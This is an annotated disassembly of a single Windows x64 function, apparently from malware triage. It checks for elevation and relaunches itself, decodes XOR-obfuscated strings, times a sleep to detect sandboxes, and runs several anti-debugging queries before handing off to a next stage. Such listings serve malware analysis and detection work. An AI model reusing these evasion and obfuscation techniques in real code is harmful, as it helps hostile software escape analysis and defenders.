Function at 0x14000c1c0
Capabilities:
Check for debugger via api
Check for process debug object
Check for time delay via queryperformancecounter
Check processdebugflags
Check processdebugport
Create process on windows
Encode data using base64

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x188
movaps xmmword [rsp + 0x170], xmm6
mov qword [rsp + 0x70], 0
mov dword [rsp + 0xf0], 0
mov dword [rsp + 0x40], 0
call sub.KERNEL32.dll_GetCurrentProcess
lea r8, [rsp + 0x70]
mov rcx, rax
mov edx, 8
call sub.ADVAPI32.dll_OpenProcessToken
test eax, eax
je 0x14000c383
mov rcx, qword [rsp + 0x70]
lea rdi, [rsp + 0x40]
mov qword [rsp + 0x20], rdi
lea rsi, [rsp + 0xf0]
mov edx, 0x14
mov r8, rsi
mov r9d, 4
call sub.ADVAPI32.dll_GetTokenInformation
test eax, eax
je 0x14000c383
cmp dword [rsp + 0xf0], 0
je 0x14000c383
lea rax, [0x141ced432]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x70]
movabs rax, 0x40b8d689d5bfc6
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x70]
mov rdx, qword [rsp + 0x70]
call fcn.140006c30
movabs rcx, 0x767e62f985234fb3
xor rcx, qword [rax]
movabs rdx, 0xe929ef64fe02e2c9
xor rdx, qword [rax + 8]
movabs r8, 0xe37e2ca84c65a5c6
xor r8, qword [rax + 0x10]
movabs r9, 0x369ea7cfb8cc47d
xor r9, qword [rax + 0x18]
movabs r10, 0xded04613fae8d88f
xor r10, qword [rax + 0x20]
mov r11d, 0x145bee5a
xor r11d, dword [rax + 0x28]
mov ebx, r11d
shr ebx, 8
movzx eax, byte [rax + 0x2c]
xor al, 0xd2
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
mov qword [rsp + 0x60], r10
mov byte [rsp + 0x68], r11b
shr r11d, 0x18
mov byte [rsp + 0x6b], r11b
mov word [rsp + 0x69], bx
mov byte [rsp + 0x6c], al
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], 0x2d
mov qword [rsp + 0x28], rsi
lea rax, [0x1400042f0]
mov qword [rsp + 0x30], rax
lea rax, [0x1400596d8]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rcx, [rsp + 0x70]
call fcn.140032860
jmp 0x14000cbf4
lea r15, [rsp + 0x70]
lea rbx, [rsp + 0xf0]
lea r14, [rsp + 0x40]
xorps xmm6, xmm6
lea rsi, [0x141cf8d68]
nop
mov rcx, r15
call fcn.14002f220
mov rdi, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
movabs rax, 0x8000000000000000
cmp rdi, rax
je 0x14000c945
mov r8, qword [rsp + 0x80]
mov rcx, r15
mov qword [rsp + 0x110], rdx
call fcn.14001cb20
test byte [rsp + 0x70], 1
jne 0x14000d022
mov rbp, qword [rsp + 0x80]
test rbp, rbp
js 0x14000d022
mov qword [rsp + 0x118], rdi
mov r13, qword [rsp + 0x78]
je 0x14000c430
movzx eax, byte [0x141d069e0]
xor ecx, ecx
mov rdx, rbp
call fcn.14003cf90
mov rdi, rax
test rax, rax
jne 0x14000c435
jmp 0x14000d022
mov edi, 1
mov rcx, rdi
mov rdx, r13
mov r8, rbp
call fcn.140049170
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x130], 1
mov qword [rsp + 0x138], 0
lea rax, [rdi + rbp]
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], rax
mov word [rsp + 0x100], 0
mov dword [rsp + 0x108], 1
lea rcx, [rsp + 0x140]
mov rdx, rbx
call fcn.140008590
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 1
mov word [rsp + 0x50], 0
mov dword [rsp + 0x58], 1
lea rcx, [rsp + 0x158]
mov rdx, r14
call fcn.140008590
mov r15, qword [rsp + 0x148]
mov r12, qword [rsp + 0x160]
mov dword [rsp + 0xec], 0
movaps xmmword [rsp + 0xd0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
movaps xmmword [rsp + 0xb0], xmm6
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm6
mov al, 1
test al, al
je 0x14000d022
movzx eax, byte [0x141d069e0]
mov edx, 8
xor ecx, ecx
call fcn.14003cf90
test rax, rax
je 0x14000d022
mov word [rax], 0x72
mov ecx, 4
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov r13d, 1
xor ebx, ebx
lea r14, [0x141cf8d63]
jmp 0x14000c58f
mov word [rax + r13*2], bx
inc r13
mov qword [rsp + 0x38], r13
mov ebx, edi
test bx, bx
jne 0x14000c610
cmp r14, rsi
je 0x14000c6b0
movzx ecx, byte [r14]
test cl, cl
js 0x14000c5b5
inc r14
mov ebx, ecx
xor edi, edi
cmp r13, qword [rsp + 0x28]
jne 0x14000c580
jmp 0x14000c61d
mov ebx, ecx
and ebx, 0x1f
movzx r8d, byte [r14 + 1]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x14000c603
movzx edx, byte [r14 + 2]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp cl, 0xf0
jb 0x14000c66d
movzx ecx, byte [r14 + 3]
add r14, 4
and ebx, 7
shl ebx, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ebx, ecx
cmp ebx, 0xffff
jbe 0x14000c610
jmp 0x14000c67e
add r14, 2
shl ebx, 6
or ebx, r8d
nop dword [rax]
xor edi, edi
cmp r13, qword [rsp + 0x28]
jne 0x14000c580
lea rax, [0x141cf8d62]
sub rax, r14
add rax, 8
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 1
cmp di, 1
sbb rdx, 0
lea r8, [rdx + 2]
mov qword [rsp + 0x20], 2
mov r9d, 2
lea rcx, [rsp + 0x28]
mov rdx, r13
call fcn.140055e00
mov rax, qword [rsp + 0x30]
jmp 0x14000c580
add r14, 3
shl ebx, 0xc
or ebx, edx
cmp ebx, 0xffff
jbe 0x14000c610
lea ecx, [rbx + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and ebx, 0x3ff
or ebx, 0xdc00
mov edi, ebx
mov ebx, ecx
cmp r13, qword [rsp + 0x28]
jne 0x14000c580
jmp 0x14000c61d
mov rbx, qword [rsp + 0x28]
mov r13, qword [rsp + 0x30]
xor ecx, ecx
mov edx, 6
call qword [sym.imp.ole32.dll_CoInitializeEx]
movabs rax, 0x14000000070
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x80], r13
mov qword [rsp + 0x88], r15
mov qword [rsp + 0x90], r12
mov dword [rsp + 0xa0], 1
lea r15, [rsp + 0x70]
mov rcx, r15
call qword [sym.imp.shell32.dll_ShellExecuteExW]
test eax, eax
sete al
mov rcx, qword [rsp + 0xd8]
test rcx, rcx
sete dl
or dl, al
cmp dl, 1
jne 0x14000c750
test rbx, rbx
lea r14, [rsp + 0x40]
je 0x14000c73d
mov rcx, qword [0x141d069c8]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, 0xffffffff
jmp 0x14000c79e
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0xd8]
lea rdx, [rsp + 0xec]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp eax, 1
mov edi, 0
sbb edi, edi
or edi, dword [rsp + 0xec]
test rbx, rbx
lea r14, [rsp + 0x40]
je 0x14000c79e
mov rcx, qword [0x141d069c8]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rbx, [rsp + 0xf0]
cmp qword [rsp + 0x158], 0
mov r13, qword [sym.imp.KERNEL32.dll_HeapFree]
je 0x14000c7cc
mov r8, qword [rsp + 0x160]
mov rcx, qword [0x141d069c8]
xor edx, edx
call r13
cmp qword [rsp + 0x140], 0
je 0x14000c7eb
mov r8, qword [rsp + 0x148]
mov rcx, qword [0x141d069c8]
xor edx, edx
call r13
cmp qword [rsp + 0x128], 0
je 0x14000c80a
mov r8, qword [rsp + 0x130]
mov rcx, qword [0x141d069c8]
xor edx, edx
call r13
test rbp, rbp
je 0x14000c823
mov rcx, qword [0x141d069c8]
xor edx, edx
mov r8, qword [rsp + 0x120]
call r13
test edi, edi
je 0x14000ca8e
lea rax, [0x141ceee83]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
movabs rax, 0xbffb6441da91315a
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.140006a80
mov rcx, qword [rax]
movabs rdx, 0xea4b888bc42e9e1d
xor rcx, rdx
mov rdx, qword [rax + 8]
movabs r8, 0x3669e61ff00e01e6
xor rdx, r8
mov r8, qword [rax + 0x10]
movabs r9, 0x47cf48bf5fea6a0a
xor r8, r9
mov r9, qword [rax + 0x18]
movabs r10, 0x3b54ce6b75c705b3
xor r9, r10
movzx eax, byte [rax + 0x20]
xor al, 0xc7
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
mov byte [rsp + 0x60], al
mov qword [rsp + 0xf0], r14
mov qword [rsp + 0xf8], 0x21
mov qword [rsp + 0x28], rbx
lea rax, [0x1400042f0]
mov qword [rsp + 0x30], rax
lea rax, [0x1400596d8]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov rcx, r15
call fcn.140032860
cmp qword [rsp + 0x118], 0
je 0x14000c3a0
mov rcx, qword [0x141d069c8]
xor edx, edx
mov r8, qword [rsp + 0x110]
call r13
jmp 0x14000c3a0
test rdx, rdx
je 0x14000cab0
lea rax, [0x141cf0d19]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x70]
movabs rax, 0xbf72ba6de9f1953f
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x70]
mov r15, rdx
mov rdx, qword [rsp + 0x70]
call fcn.140006d10
movabs rcx, 0xe52f3abca548798
xor rcx, qword [rax]
movabs rdx, 0xe5baa97b54d0ccb8
xor rdx, qword [rax + 8]
movabs r8, 0xcc721313a227b711
xor r8, qword [rax + 0x10]
movabs r9, 0xc5cadae74c16b77b
xor r9, qword [rax + 0x18]
movzx eax, byte [rax + 0x20]
xor al, 0x2c
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
mov byte [rsp + 0x60], al
mov qword [rsp + 0xf0], r14
mov qword [rsp + 0xf8], 0x21
mov qword [rsp + 0x28], rbx
lea rax, [0x1400042f0]
mov qword [rsp + 0x30], rax
lea rax, [0x1400596d8]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rcx, [rsp + 0x70]
call fcn.140032860
mov r8, r15
mov eax, r8d
and eax, 3
cmp eax, 1
jne 0x14000cbf4
mov rsi, qword [r8 - 1]
mov rdi, qword [r8 + 7]
mov rax, qword [rdi]
test rax, rax
je 0x14000ca6d
mov rcx, rsi
call rax
mov r8, r15
dec r8
cmp qword [rdi + 8], 0
je 0x14000cbe5
cmp qword [rdi + 0x10], 0x11
jae 0x14000cbc9
mov rdi, r8
jmp 0x14000cbd0
cmp qword [rsp + 0x118], 0
mov r8, qword [rsp + 0x110]
je 0x14000cab0
mov rcx, qword [0x141d069c8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rax, [0x141ce7344]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x70]
movabs rax, 0x11a59ef3064dcfc4
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x70]
mov rdx, qword [rsp + 0x70]
call fcn.140006940
movabs rcx, 0x9bdfcc5fb593badb
xor rcx, qword [rax]
movabs rdx, 0xb02ece328d7b3d5
xor rdx, qword [rax + 8]
movabs r8, 0x2ef900cb854a522c
xor r8, qword [rax + 0x10]
movabs r9, 0x5e0dc4a0d2ec90db
xor r9, qword [rax + 0x18]
movabs r10, 0x40b627bd35af4a6c
xor r10, qword [rax + 0x20]
movzx eax, word [rax + 0x28]
mov r11d, eax
xor r11b, 0x3d
shr eax, 8
xor al, 0x76
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
mov qword [rsp + 0x60], r10
mov byte [rsp + 0x68], r11b
mov byte [rsp + 0x69], al
mov qword [rsp + 0xf0], r14
mov qword [rsp + 0xf8], 0x2a
mov qword [rsp + 0x28], rbx
lea rax, [0x1400042f0]
mov qword [rsp + 0x30], rax
lea rax, [0x1400596d8]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rcx, [rsp + 0x70]
call fcn.140032860
jmp 0x14000d006
mov rdi, r8
mov rsi, qword [rsi - 8]
mov rcx, qword [0x141d069c8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, rdi
mov rcx, qword [0x141d069c8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14000d029
mov rsi, qword [rsp + 0x70]
mov rcx, qword [0x141d069c0]
test rcx, rcx
jne 0x14000cc52
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14000d029
mov rcx, qword [rsp + 0x70]
mov qword [0x141d069c0], rcx
test rcx, rcx
je 0x14000d022
mov rax, rsi
or rax, rcx
shr rax, 0x20
je 0x14000cc68
mov rax, rsi
xor edx, edx
div rcx
jmp 0x14000cc6e
mov eax, esi
xor edx, edx
div ecx
imul r8, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rax
or rdx, rcx
shr rdx, 0x20
je 0x14000cc92
xor edx, edx
div rcx
mov rsi, rax
jmp 0x14000cc98
xor edx, edx
div ecx
mov esi, eax
add rsi, r8
mov rax, rsi
shr rax, 9
movabs r14, 0x44b82fa09b5a53
mul r14
mov rdi, rdx
mov ecx, 0x23
call fcn.14002ddb0
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14000d029
mov rbx, qword [rsp + 0x70]
mov rcx, qword [0x141d069c0]
test rcx, rcx
jne 0x14000cd1a
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14000d029
mov rcx, qword [rsp + 0x70]
mov qword [0x141d069c0], rcx
test rcx, rcx
je 0x14000d022
mov rax, rbx
or rax, rcx
shr rax, 0x20
je 0x14000cd30
mov rax, rbx
xor edx, edx
div rcx
jmp 0x14000cd36
mov eax, ebx
xor edx, edx
div ecx
imul r8, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rax
or rdx, rcx
shr rdx, 0x20
je 0x14000cd5a
xor edx, edx
div rcx
mov rbx, rax
jmp 0x14000cd60
xor edx, edx
div ecx
mov ebx, eax
add rbx, r8
mov rax, rbx
shr rax, 9
mul r14
mov r14, rdx
mov r8, qword [0x141d069c0]
test r8, r8
jne 0x14000cdad
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14000d029
mov r8, qword [rsp + 0x70]
mov qword [0x141d069c0], r8
test r8, r8
je 0x14000d022
shr rdi, 0xb
imul rax, rdi, 0x3b9aca00
sub rsi, rax
shr r14, 0xb
imul rax, r14, 0x3b9aca00
sub rbx, rax
cmp r8, 0x3b9aca00
ja 0x14000cdde
mov eax, 0x3b9aca00
xor edx, edx
div r8d
jmp 0x14000cde0
xor eax, eax
lea ecx, [rax - 0x3b9aca00]
xor edx, edx
cmp r8, 2
setb r8b
cmovae ecx, eax
xor r10d, r10d
mov rax, r14
sub rax, rdi
setne r10b
mov r9d, 0xff
cmovbe r9d, r10d
test r9b, r9b
jne 0x14000ce1c
cmp rbx, rsi
setne r9b
ja 0x14000cec4
cmp r9b, 1
jne 0x14000cec4
cmp r14, rdi
ja 0x14000d022
mov r9, rdi
sub r9, r14
cmp rbx, rsi
jbe 0x14000ce5b
test r9, r9
je 0x14000d022
dec r9
lea r10d, [rsi + 0x3b9aca00]
sub r10d, ebx
cmp r10d, 0x3b9aca00
jae 0x14000ce6a
jmp 0x14000ce8f
mov r10d, esi
sub r10d, ebx
cmp r10d, 0x3b9aca00
jb 0x14000ce8f
mov r11d, r10d
shr r11d, 9
imul r11, r11, 0x44b83
shr r11, 0x27
add r9, r11
jb 0x14000d022
imul r11d, r11d, 0x3b9aca00
sub r10d, r11d
mov dl, r8b
xor r8d, r8d
cmp r9, rdx
setne r8b
mov edx, 0xff
cmovb r8d, edx
xor r9d, r9d
cmp r10d, ecx
setne r9b
cmovb r9d, edx
test r8b, r8b
cmovne r9d, r8d
cmp r9b, 1
jne 0x14000d024
cmp r14, rdi
jb 0x14000d024
cmp rbx, rsi
jae 0x14000cee4
test rax, rax
je 0x14000d024
dec rax
add ebx, 0x3b9aca00
sub ebx, esi
cmp ebx, 0x3b9aca00
jb 0x14000cf05
shr ebx, 9
imul rcx, rbx, 0x44b83
shr rcx, 0x27
add rax, rcx
jb 0x14000d022
cmp rax, 0x19
jb 0x14000d024
lea rcx, [rsp + 0x70]
call fcn.140044760
cmp byte [rsp + 0x70], 0x12
jne 0x14000d022
call fcn.140008bb0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x70], 0
mov dword [rsp + 0xf0], 0
call sub.KERNEL32.dll_GetCurrentProcess
lea rdx, [rsp + 0xf0]
mov rcx, rax
call sub.KERNEL32.dll_CheckRemoteDebuggerPresent
call sub.KERNEL32.dll_GetCurrentProcess
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x40]
mov rcx, rax
mov edx, 7
mov r9d, 8
call sub.ntdll.dll_NtQueryInformationProcess
call sub.KERNEL32.dll_GetCurrentProcess
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x28]
mov rcx, rax
mov edx, 0x1f
mov r9d, 4
call sub.ntdll.dll_NtQueryInformationProcess
call sub.KERNEL32.dll_GetCurrentProcess
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x70]
mov rcx, rax
mov edx, 0x1e
mov r9d, 8
call sub.ntdll.dll_NtQueryInformationProcess
cmp dword [rsp + 0xf0], 0
jne 0x14000d024
cmp qword [rsp + 0x40], 0
jne 0x14000d024
cmp dword [rsp + 0x28], 0
je 0x14000d024
cmp qword [rsp + 0x70], 0
jne 0x14000d024
mov ecx, 0x80000001
call qword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
call fcn.14000d040
movaps xmm6, xmmword [rsp + 0x170]
add rsp, 0x188
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
call fcn.14003cf20
call qword [sym.imp.KERNEL32.dll_GetLastError]
ud2